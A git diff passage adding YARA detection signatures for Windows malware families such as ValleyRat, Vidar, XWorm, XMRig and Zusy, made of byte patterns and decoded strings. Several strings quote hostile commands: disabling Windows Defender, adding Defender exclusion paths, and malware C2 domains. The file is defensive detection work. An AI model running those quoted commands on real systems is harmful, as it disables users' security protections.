0f 2a 44 24 38 f2 0f 5e c8 f2 ?? ?? ?? ?? ?? ?? ?? f2 0f 2c c1 3d 88 13 00 00 7e } //2 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*2) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_AVER_MTB.yar b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_AVER_MTB.yar new file mode 100644 index 0000000000..3e895a197b --- /dev/null +++ b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_AVER_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ValleyRat_AVER_MTB{ + meta: + description = "Trojan:Win64/ValleyRat.AVER!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {33 d2 48 8b 44 24 20 b9 ?? ?? ?? ?? 48 f7 f1 48 8b c2 48 8d 0d ?? ?? ?? ?? 0f b6 04 01 48 8b 4c 24 28 0f be 09 33 c8 8b c1 48 8b 4c 24 28 88 01 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_CZ_MTB.yar b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_CZ_MTB.yar new file mode 100644 index 0000000000..41cbdedc5a --- /dev/null +++ b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_CZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ValleyRat_CZ_MTB{ + meta: + description = "Trojan:Win64/ValleyRat.CZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {49 8b c8 33 d2 49 8b c1 49 f7 70 10 8a 04 0a 43 30 04 19 49 ff c1 4d 3b ca 72 d9 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_ETL_MTB.yar b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_ETL_MTB.yar new file mode 100644 index 0000000000..a6bad20b60 --- /dev/null +++ b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_ETL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ValleyRat_ETL_MTB{ + meta: + description = "Trojan:Win64/ValleyRat.ETL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 8b c0 4d 8d 49 01 99 41 ff c0 f7 f9 48 63 c2 0f b6 44 04 38 43 32 44 11 ff 42 88 84 0c 1f 05 00 00 41 81 f8 d8 08 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_PSG_MTB.yar b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_PSG_MTB.yar new file mode 100644 index 0000000000..c19ddf4d13 --- /dev/null +++ b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_PSG_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_ValleyRat_PSG_MTB{ + meta: + description = "Trojan:Win64/ValleyRat.PSG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 05 00 00 " + + strings : + $a_01_0 = {41 51 49 b9 3e b8 21 7f b3 89 2c a8 9c 41 c0 e1 14 } //5 + $a_02_1 = {43 00 6f 00 6d 00 70 00 61 00 6e 00 79 00 4e 00 61 00 6d 00 65 00 ?? ?? ?? ?? 51 00 75 00 61 00 6c 00 63 00 6f 00 6d 00 6d 00 } //2 + $a_02_2 = {43 6f 6d 70 61 6e 79 4e 61 6d 65 ?? ?? ?? ?? 51 75 61 6c 63 6f 6d 6d } //2 + $a_02_3 = {4f 00 72 00 69 00 67 00 69 00 6e 00 61 00 6c 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 ?? ?? 44 00 61 00 74 00 61 00 42 00 61 00 73 00 65 00 2e 00 64 00 6c 00 6c 00 } //1 + $a_02_4 = {4f 72 69 67 69 6e 61 6c 46 69 6c 65 6e 61 6d 65 ?? ?? 44 61 74 61 42 61 73 65 2e 64 6c 6c } //1 + condition: + ((#a_01_0 & 1)*5+(#a_02_1 & 1)*2+(#a_02_2 & 1)*2+(#a_02_3 & 1)*1+(#a_02_4 & 1)*1) >=7 + +} \ No newline at end of file diff --git a/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_RY_MTB.yar b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_RY_MTB.yar new file mode 100644 index 0000000000..1f652918b2 --- /dev/null +++ b/Trojan/Win64/ValleyRat/Trojan_Win64_ValleyRat_RY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_ValleyRat_RY_MTB{ + meta: + description = "Trojan:Win64/ValleyRat.RY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8a 14 0f 48 63 6c 24 ?? 48 69 dd ?? ?? ?? ?? 48 89 de 48 c1 ee ?? 48 c1 eb 20 01 f3 01 db 8d 1c 5b 29 dd 48 63 ed 32 94 2c ?? ?? ?? ?? 88 14 0f 8b 4c 24 ?? 83 c1 01 e9 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Vidar/Trojan_Win64_Vidar_AVI_MTB.yar b/Trojan/Win64/Vidar/Trojan_Win64_Vidar_AVI_MTB.yar new file mode 100644 index 0000000000..3acea04748 --- /dev/null +++ b/Trojan/Win64/Vidar/Trojan_Win64_Vidar_AVI_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Vidar_AVI_MTB{ + meta: + description = "Trojan:Win64/Vidar.AVI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {48 ff c2 45 69 c0 ?? ?? ?? ?? 8b c8 c1 e9 18 33 c8 69 c9 ?? ?? ?? ?? 44 33 c1 48 3b d3 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Vidar/Trojan_Win64_Vidar_BOZ_MTB.yar b/Trojan/Win64/Vidar/Trojan_Win64_Vidar_BOZ_MTB.yar new file mode 100644 index 0000000000..be290e3e3e --- /dev/null +++ b/Trojan/Win64/Vidar/Trojan_Win64_Vidar_BOZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Vidar_BOZ_MTB{ + meta: + description = "Trojan:Win64/Vidar.BOZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 48 8b 4d b0 8a 04 01 48 63 4d ?? 48 8b 55 88 30 04 0a 44 8b 5d ?? 41 83 c3 01 b8 c1 04 f3 84 44 8b 4d a0 4c 8b 45 80 44 8b 75 ?? 44 8b 6d 94 8b 5d 98 3d 12 dd 65 dd 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Vidar/Trojan_Win64_Vidar_SLAE_MTB.yar b/Trojan/Win64/Vidar/Trojan_Win64_Vidar_SLAE_MTB.yar new file mode 100644 index 0000000000..132638e657 --- /dev/null +++ b/Trojan/Win64/Vidar/Trojan_Win64_Vidar_SLAE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Vidar_SLAE_MTB{ + meta: + description = "Trojan:Win64/Vidar.SLAE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {8b 05 ee 9b 03 00 8d 48 ff 0f af c8 f6 c1 01 b8 58 b2 7a ac 41 0f 44 c5 83 3d d9 9b 03 00 0a 41 0f 4c c5 3d 8d 96 34 06 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/XDSpy/Trojan_Win64_XDSpy_GVA_MTB.yar b/Trojan/Win64/XDSpy/Trojan_Win64_XDSpy_GVA_MTB.yar new file mode 100644 index 0000000000..b67c23279a --- /dev/null +++ b/Trojan/Win64/XDSpy/Trojan_Win64_XDSpy_GVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_XDSpy_GVA_MTB{ + meta: + description = "Trojan:Win64/XDSpy.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {6f 66 66 69 63 65 75 70 64 74 63 65 6e 74 72 2e 63 6f 6d } //2 officeupdtcentr.com + $a_01_1 = {73 65 61 74 77 6f 77 61 76 65 2e 63 6f 6d } //2 seatwowave.com + $a_00_2 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 75 00 20 00 2f 00 63 00 20 00 63 00 64 00 20 00 2f 00 64 00 20 00 22 00 25 00 73 00 22 00 20 00 26 00 20 00 64 00 69 00 72 00 20 00 2f 00 61 00 20 00 2f 00 2d 00 63 00 } //1 cmd.exe /u /c cd /d "%s" & dir /a /-c + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_00_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GXF_MTB.yar b/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GXF_MTB.yar new file mode 100644 index 0000000000..cc8d2f782c --- /dev/null +++ b/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GXF_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_XWorm_GXF_MTB{ + meta: + description = "Trojan:Win64/XWorm.GXF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 05 00 00 " + + strings : + $a_01_0 = {48 8d 55 b0 48 8b 85 d0 00 00 00 48 c7 44 24 20 00 00 00 00 41 b9 00 00 00 00 49 89 d0 48 89 c2 b9 00 00 00 00 e8 } //5 + $a_01_1 = {63 6d 64 2e 65 78 65 20 2f 63 20 73 63 20 63 6f 6e 66 69 67 20 57 69 6e 44 65 66 65 6e 64 20 73 74 61 72 74 3d 64 69 73 61 62 6c 65 64 20 3e 20 6e 75 6c 20 32 3e 26 31 } //1 cmd.exe /c sc config WinDefend start=disabled > nul 2>&1 + $a_01_2 = {73 63 20 73 74 6f 70 20 57 69 6e 44 65 66 65 6e 64 20 3e 20 6e 75 6c 20 32 3e 26 31 } //1 sc stop WinDefend > nul 2>&1 + $a_80_3 = {54 45 4d 50 5c 73 76 63 68 6f 73 74 2e 65 78 65 } //TEMP\svchost.exe 1 + $a_01_4 = {44 69 73 61 62 6c 65 52 65 61 6c 74 69 6d 65 4d 6f 6e 69 74 6f 72 69 6e 67 } //1 DisableRealtimeMonitoring + condition: + ((#a_01_0 & 1)*5+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_80_3 & 1)*1+(#a_01_4 & 1)*1) >=9 + +} \ No newline at end of file diff --git a/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GZK_MTB.yar b/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GZK_MTB.yar new file mode 100644 index 0000000000..87fc07ea4c --- /dev/null +++ b/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GZK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_XWorm_GZK_MTB{ + meta: + description = "Trojan:Win64/XWorm.GZK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {48 89 d1 48 8d 15 ?? ?? ?? ?? ff 15 ?? ?? ?? ?? 48 85 c0 0f 84 ?? ?? ?? ?? 48 8d 15 ?? ?? ?? ?? 48 89 f1 48 89 c7 ff d0 48 89 45 ?? 48 8d 15 ?? ?? ?? ?? 48 89 f1 ff d7 48 89 45 ?? 48 8d 15 ?? ?? ?? ?? 48 89 f1 ff d7 48 89 45 00 48 8d 15 ?? ?? ?? ?? 48 89 f1 48 89 7d ?? ff d7 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GZM_MTB.yar b/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GZM_MTB.yar new file mode 100644 index 0000000000..f6861e0a70 --- /dev/null +++ b/Trojan/Win64/XWorm/Trojan_Win64_XWorm_GZM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_XWorm_GZM_MTB{ + meta: + description = "Trojan:Win64/XWorm.GZM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {49 89 c7 48 89 d9 e8 ?? ?? ?? ?? 48 89 c1 4c 89 f2 e8 ?? ?? ?? ?? 49 89 c4 48 c7 44 24 ?? 00 00 00 00 41 b8 04 00 00 00 48 89 f9 4c 89 fa 41 b9 04 00 00 00 ff d0 48 c7 44 24 ?? 00 00 00 00 4c 8d 05 ?? ?? ?? ?? 41 b9 04 00 00 00 48 89 f9 4c 89 fa e8 ?? ?? ?? ?? 48 c7 44 24 ?? 00 00 00 00 41 b8 04 00 00 00 48 89 f9 4c 89 fa 45 31 c9 41 ff d4 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/XWorm/Trojan_Win64_XWorm_SDEL_MTB.yar b/Trojan/Win64/XWorm/Trojan_Win64_XWorm_SDEL_MTB.yar new file mode 100644 index 0000000000..43257182c2 --- /dev/null +++ b/Trojan/Win64/XWorm/Trojan_Win64_XWorm_SDEL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_XWorm_SDEL_MTB{ + meta: + description = "Trojan:Win64/XWorm.SDEL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {31 c9 31 d2 45 31 c9 ff 15 fb 55 ff ff 48 8b 0d fc b0 ff ff 4c 63 59 04 8b 0d ce a3 ff ff 8b 15 cc a3 ff ff 8d 69 ff 0f af e9 89 e9 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_RK_MTB.yar b/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_RK_MTB.yar new file mode 100644 index 0000000000..922839b4a8 --- /dev/null +++ b/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_RK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_XMRig_RK_MTB{ + meta: + description = "Trojan:Win64/XMRig.RK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {30 4c 04 3e 48 ff c0 48 83 f8 0c 73 06 8a 4c 24 3d } //3 + $a_01_1 = {50 7a 4c 46 62 6d 42 6d 59 56 5a 58 62 6a 64 32 6d 73 39 34 64 4d 70 6f 56 57 35 6a 5a 6d 46 57 45 32 34 33 64 6d 55 77 65 48 52 79 61 46 56 75 59 32 5a } //2 PzLFbmBmYVZXbjd2ms94dMpoVW5jZmFWE243dmUweHRyaFVuY2Z + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_SD_MTB.yar b/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_SD_MTB.yar new file mode 100644 index 0000000000..76c7878c51 --- /dev/null +++ b/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_SD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_XMRig_SD_MTB{ + meta: + description = "Trojan:Win64/XMRig.SD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {c7 05 b7 da 00 00 ee d9 d2 73 e8 ?? ?? ?? ?? c7 05 a8 da 00 00 ec 07 75 ec e8 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_WQ_MTB.yar b/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_WQ_MTB.yar new file mode 100644 index 0000000000..7e075a0623 --- /dev/null +++ b/Trojan/Win64/Xmrig/Trojan_Win64_XMRig_WQ_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_Win64_XMRig_WQ_MTB{ + meta: + description = "Trojan:Win64/XMRig.WQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_81_0 = {4f 6d 4e 6f 6d 2e 65 78 65 } //1 OmNom.exe + $a_81_1 = {41 64 64 2d 4d 70 50 72 65 66 65 72 65 6e 63 65 20 2d 45 78 63 6c 75 73 69 6f 6e 50 61 74 68 } //1 Add-MpPreference -ExclusionPath + $a_81_2 = {44 65 66 65 6e 64 65 72 2d 41 75 73 6e 61 68 6d 65 6e } //1 Defender-Ausnahmen + $a_81_3 = {75 62 72 69 6e 2e 70 64 62 } //1 ubrin.pdb + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/Xmrig/Trojan_Win64_Xmrig_AXR_MTB.yar b/Trojan/Win64/Xmrig/Trojan_Win64_Xmrig_AXR_MTB.yar index 4f42ad6aec..600f56d7e9 100644 --- a/Trojan/Win64/Xmrig/Trojan_Win64_Xmrig_AXR_MTB.yar +++ b/Trojan/Win64/Xmrig/Trojan_Win64_Xmrig_AXR_MTB.yar @@ -8,4 +8,15 @@ rule Trojan_Win64_Xmrig_AXR_MTB{ condition: ((#a_01_0 & 1)*1) >=1 +} +rule Trojan_Win64_Xmrig_AXR_MTB_2{ + meta: + description = "Trojan:Win64/Xmrig.AXR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {33 db 48 89 5c 24 40 48 89 5c 24 48 41 b8 15 00 00 00 48 8d 15 5d 6c 04 00 48 8d 4c 24 30 e8 ?? ?? ?? ?? ?? 0f 57 c0 0f 11 44 24 50 48 89 5c 24 60 48 89 5c 24 68 41 b8 16 00 00 00 48 8d 15 4b 6c 04 00 48 8d 4c 24 50 } //3 + $a_03_1 = {0f 57 c0 0f 11 45 d0 48 89 5d e0 48 89 5d e8 41 b8 15 00 00 00 48 8d 15 f8 6b 04 00 48 8d 4d d0 e8 ?? ?? ?? ?? ?? 0f 57 c0 0f 11 45 f0 48 89 5d 00 48 89 5d 08 41 b8 17 00 00 00 48 8d 15 ea 6b 04 00 48 8d 4d f0 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_03_1 & 1)*2) >=5 + } \ No newline at end of file diff --git a/Trojan/Win64/Zariza/Trojan_Win64_Zariza_ARAX_MTB.yar b/Trojan/Win64/Zariza/Trojan_Win64_Zariza_ARAX_MTB.yar new file mode 100644 index 0000000000..f62ba48c8a --- /dev/null +++ b/Trojan/Win64/Zariza/Trojan_Win64_Zariza_ARAX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Zariza_ARAX_MTB{ + meta: + description = "Trojan:Win64/Zariza.ARAX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {43 8d 0c 38 49 8b d6 80 e1 07 c0 e1 03 48 d3 ea 41 0f b6 c8 41 30 50 ff 41 2a c9 80 e1 07 49 8b d6 c0 e1 03 48 d3 ea 41 30 10 49 83 c0 02 4b 8d 04 07 48 83 f8 2a 72 c8 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zenpak/Trojan_Win64_Zenpak_MX_MTB.yar b/Trojan/Win64/Zenpak/Trojan_Win64_Zenpak_MX_MTB.yar new file mode 100644 index 0000000000..dd2c49ce3e --- /dev/null +++ b/Trojan/Win64/Zenpak/Trojan_Win64_Zenpak_MX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Zenpak_MX_MTB{ + meta: + description = "Trojan:Win64/Zenpak.MX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 00 41 03 49 8d 0c 31 49 8b c0 48 f7 e1 48 c1 ea 02 48 8d 04 92 48 2b c8 0f b6 44 0d 20 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AC_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AC_MTB.yar new file mode 100644 index 0000000000..2d780c4dc4 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Zusy_AC_MTB{ + meta: + description = "Trojan:Win64/Zusy.AC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 83 ec 48 45 31 c0 41 b9 02 00 00 00 48 c7 c1 01 00 00 80 48 8d 15 ad 37 00 00 48 8d 44 24 38 48 89 44 24 20 ff 15 bd 77 00 00 85 c0 75 61 48 8d 05 d0 37 00 00 41 b9 01 00 00 00 45 31 c0 48 8b 4c 24 38 48 8d 15 ab 37 00 00 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AHG_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AHG_MTB.yar new file mode 100644 index 0000000000..2cac6645e5 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AHG_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Zusy_AHG_MTB{ + meta: + description = "Trojan:Win64/Zusy.AHG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_00_0 = {0f b6 b4 18 ea 01 00 00 40 c0 ee 04 40 0f b6 f6 48 8d 3d b9 66 05 00 0f b6 34 37 48 81 fa 0b 02 00 00 0f 83 } //3 + $a_03_1 = {48 89 c1 48 b8 89 ?? ?? ?? ?? ?? ?? ?? 48 89 d6 48 f7 ea 48 01 f2 48 c1 fa 03 48 c1 fe 3f 48 29 f2 48 ff c2 48 89 c8 48 89 d1 } //2 + $a_03_2 = {48 89 c6 48 b8 89 ?? ?? ?? ?? ?? ?? ?? 49 89 d0 48 f7 ef 4c 8d 0c 3a 49 c1 f9 03 48 c1 ff 3f 49 29 f9 49 8d 79 01 48 89 f0 4c 89 c2 48 89 fe } //2 + condition: + ((#a_00_0 & 1)*3+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AHI_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AHI_MTB.yar new file mode 100644 index 0000000000..2a7473be47 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AHI_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_Zusy_AHI_MTB{ + meta: + description = "Trojan:Win64/Zusy.AHI!MTB,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 03 00 00 " + + strings : + $a_01_0 = {66 89 84 24 a6 01 00 00 c6 84 24 a8 01 00 00 88 c6 84 24 a9 01 00 00 95 c6 84 24 aa 01 00 00 7d c6 84 24 ab 01 00 00 86 c6 84 24 ac 01 00 00 7d c6 84 24 ad 01 00 00 d3 c6 84 24 ae 01 00 00 67 c6 84 24 af 01 00 00 5b } //10 + $a_01_1 = {c6 84 24 28 01 00 00 85 c6 84 24 29 01 00 00 60 c6 84 24 2a 01 00 00 e4 c6 84 24 2b 01 00 00 b2 c6 84 24 2c 01 00 00 03 c6 84 24 2d 01 00 00 a9 c6 84 24 2e 01 00 00 7a c6 84 24 2f 01 00 00 8b c7 84 24 30 01 00 00 1e 86 96 f3 } //5 + $a_01_2 = {5b 2b 5d 20 44 65 63 72 79 70 74 65 64 20 41 45 53 20 4b 65 79 20 28 68 65 78 29 } //3 [+] Decrypted AES Key (hex) + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*5+(#a_01_2 & 1)*3) >=18 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AUK_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AUK_MTB.yar new file mode 100644 index 0000000000..02ea640547 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_AUK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_Zusy_AUK_MTB{ + meta: + description = "Trojan:Win64/Zusy.AUK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {4b 41 59 28 b5 2f fd 00 88 c4 cc 01 1a d4 5d 72 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EH_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EH_MTB.yar new file mode 100644 index 0000000000..b56395fff3 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EH_MTB.yar @@ -0,0 +1,22 @@ + +rule Trojan_Win64_Zusy_EH_MTB{ + meta: + description = "Trojan:Win64/Zusy.EH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 00 " + + strings : + $a_01_0 = {48 83 eb 05 b9 58 20 99 00 48 29 cb 50 b8 86 15 1c 00 48 01 d8 83 38 00 } //3 + condition: + ((#a_01_0 & 1)*3) >=3 + +} +rule Trojan_Win64_Zusy_EH_MTB_2{ + meta: + description = "Trojan:Win64/Zusy.EH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {2e 74 68 65 6d 69 64 61 00 c0 76 00 00 80 18 00 00 00 00 00 00 58 0d } //1 + $a_01_1 = {44 00 56 00 44 00 53 00 65 00 74 00 75 00 70 00 2e 00 65 00 78 00 65 00 } //1 DVDSetup.exe + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EK_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EK_MTB.yar new file mode 100644 index 0000000000..123e890277 --- /dev/null +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EK_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_Zusy_EK_MTB{ + meta: + description = "Trojan:Win64/Zusy.EK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {47 00 61 00 6d 00 65 00 20 00 52 00 65 00 70 00 61 00 63 00 6b 00 20 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 } //1 Game Repack Install + $a_01_1 = {2e 74 68 65 6d 69 64 61 00 c0 76 00 00 60 15 00 00 00 00 00 00 b2 0c } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EM_MTB.yar b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EM_MTB.yar index 81d8db038c..00e31d0e39 100644 --- a/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EM_MTB.yar +++ b/Trojan/Win64/Zusy/Trojan_Win64_Zusy_EM_MTB.yar @@ -10,6 +10,17 @@ rule Trojan_Win64_Zusy_EM_MTB{ } rule Trojan_Win64_Zusy_EM_MTB_2{ + meta: + description = "Trojan:Win64/Zusy.EM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {47 00 61 00 6d 00 65 00 20 00 52 00 65 00 70 00 61 00 63 00 6b 00 20 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 } //1 Game Repack Install + $a_01_1 = {2e 74 68 65 6d 69 64 61 00 a0 73 00 00 60 15 00 00 00 00 00 00 b2 0c } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} +rule Trojan_Win64_Zusy_EM_MTB_3{ meta: description = "Trojan:Win64/Zusy.EM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " @@ -23,7 +34,7 @@ rule Trojan_Win64_Zusy_EM_MTB_2{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1) >=5 } -rule Trojan_Win64_Zusy_EM_MTB_3{ +rule Trojan_Win64_Zusy_EM_MTB_4{ meta: description = "Trojan:Win64/Zusy.EM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -39,7 +50,7 @@ rule Trojan_Win64_Zusy_EM_MTB_3{ ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=7 } -rule Trojan_Win64_Zusy_EM_MTB_4{ +rule Trojan_Win64_Zusy_EM_MTB_5{ meta: description = 